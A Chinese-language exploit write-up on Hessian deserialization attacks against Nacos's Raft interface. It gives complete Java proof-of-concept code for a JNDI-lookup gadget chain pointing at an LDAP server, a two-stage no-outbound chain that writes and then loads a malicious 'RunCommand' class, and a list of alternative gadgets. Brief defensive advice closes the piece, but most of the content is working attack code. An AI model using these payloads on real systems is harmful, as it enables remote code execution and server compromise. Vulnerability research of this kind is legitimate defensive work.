由 nacos 引出的 Hessian 反序列化利用
字数 1976 2025-08-05 08:19:51
Hessian 反序列化漏洞利用技术详解
1. Raft协议基础
Raft协议是一种分布式一致性算法(共识算法),用于多个节点对某一个事件达成一致。即使出现部分节点故障或网络延迟等情况,也能保证系统整体可用性。
关键特性:
- 通过日志复制机制保证数据一致性
- 需要超半数节点提交才能完成操作
- 有leader节点负责协调操作
2. Nacos中的反序列化流程
在Nacos中,反序列化漏洞的触发路径如下:
com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest接收raft请求- 寻找leader节点(可选的group有三个)
- 调用
execute方法(只有leader节点才能调用) JRaftServer#applyOperation将data封装为com.alipay.sofa.jraft.entity.Task提交到Raft集群- Raft框架处理日志复制和提交
- 最终调用状态机的
onApply方法 - 对于
naming_instance_metadata,会调用InstanceMetadataProcessor的onApply - 当message类型是
WriteRequest时触发反序列化
注意:每次POC执行后节点会变成state_error状态,默认情况下只能打三次(因为有三个节点)。恢复方法:替换全新的data并重启服务。
3. Hessian反序列化利用技术
3.1 出网利用链
利用链:
Rdn$RdnEntry#compareTo ->
XString#equal ->
MultiUIDefaults#toString ->
UIDefaults#get ->
UIDefaults#getFromHashTable ->
UIDefaults$LazyValue#createValue ->
SwingLazyValue#createValue ->
InitialContext#doLookup()
关键点:
- Hessian默认不允许序列化非
Serializable接口的类,但可通过设置SerializerFactory#_isAllowNonSerializable为true绕过 - 由于
MultiUIDefaults不是public类,反序列化时会报错 - 替代方案:使用
sun.security.pkcs.PKCS9Attributes,其反序列化器是UnsafeDeserializer
完整POC代码:
public class HessianDemo {
public static void main(String[] args) throws Exception {
SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);
output.flushBuffer();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static Object hdeserialize(byte[] data){
if (data == null) {
return null;
}
Object result = null;
try {
byte[] b = new byte[]{67};
data = byteMerger(b, data);
ByteArrayInputStream is = new ByteArrayInputStream(data);
Hessian2Input input = new Hessian2Input(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] bt3 = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, bt3, 0, bt1.length);
System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
return bt3;
}
}
关键细节:
- 需要在序列化数据前写入byte
67,以触发expect方法 PKCS9Attributes的toString会调用UIDefaults的get方法- 使用
PKCS9Attribute.EMAIL_ADDRESS_OID作为key满足条件
调用栈:
PKCS9Attributes#toString ->
UIDefaults#get ->
UIDefaults#getFromHashTable ->
UIDefaults$LazyValue#createValue ->
SwingLazyValue#createValue ->
InitialContext#doLookup()
3.2 高版本JDK利用
高版本JDK需要:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase解除lookup限制 - 但Hessian黑名单限制了
java.lang.System的调用 - 解决方案:利用Nacos的Tomcat依赖加载本地
BeanFactory
3.3 不出网利用
利用链:
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode写class文件sun.security.tools.keytool.Main#main加载class
关键点:
- 必须使用
UIDefaults.ProxyLazyValue而非SwingLazyValue,因为前者能加载到nashorn.jar - 使用
sun.security.tools.keytool.Main作为加载入口
POC分为两部分:
3.3.1 写Class文件
// HessianWriteClass.java
public class HessianWriteClass {
public static void main(String[] args) throws Exception {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
new Object[]{
scriptEnvironment,
getUnsafe().allocateInstance(DebugLogger.class),
ToByte.toByte(), // 恶意class字节码
"RunCommand",
}
);
// ...后续序列化操作与前面类似...
}
}
3.3.2 加载Class文件
// HessianLoadClass.java
public class HessianLoadClass {
public static void main(String[] args) throws Exception {
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
"main",
new Object[]{new String[]{
"-genkeypair",
"-keypass", "123456",
"-keystore", "test",
"-storepass", "123456",
"-providername", "test",
"-providerclass", "RunCommand", // 加载的恶意类名
"-providerpath", System.getProperty("java.io.tmpdir")}}
);
// ...后续序列化操作...
}
}
4. 其他利用方式
- JDK <8u251:使用
com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载BCEL - 无黑名单情况:调用
sun.reflect.misc.MethodUtil#invoke执行命令 - 写动态链接库:
jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode写DLL +System.load加载 - JAR利用:
sun.tools.jar.Main.main - 写文件:
com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
5. 防御建议
- 升级Hessian到最新版本
- 严格限制反序列化的类白名单
- 监控和限制JNDI lookup操作
- 对Raft通信进行加密和认证
- 及时更新JDK到最新版本
6. 总结
Hessian反序列化漏洞利用技术多样,从出网的JNDI注入到不出网的本地类加载,针对不同环境有多种利用方式。理解这些技术有助于更好地防御此类漏洞。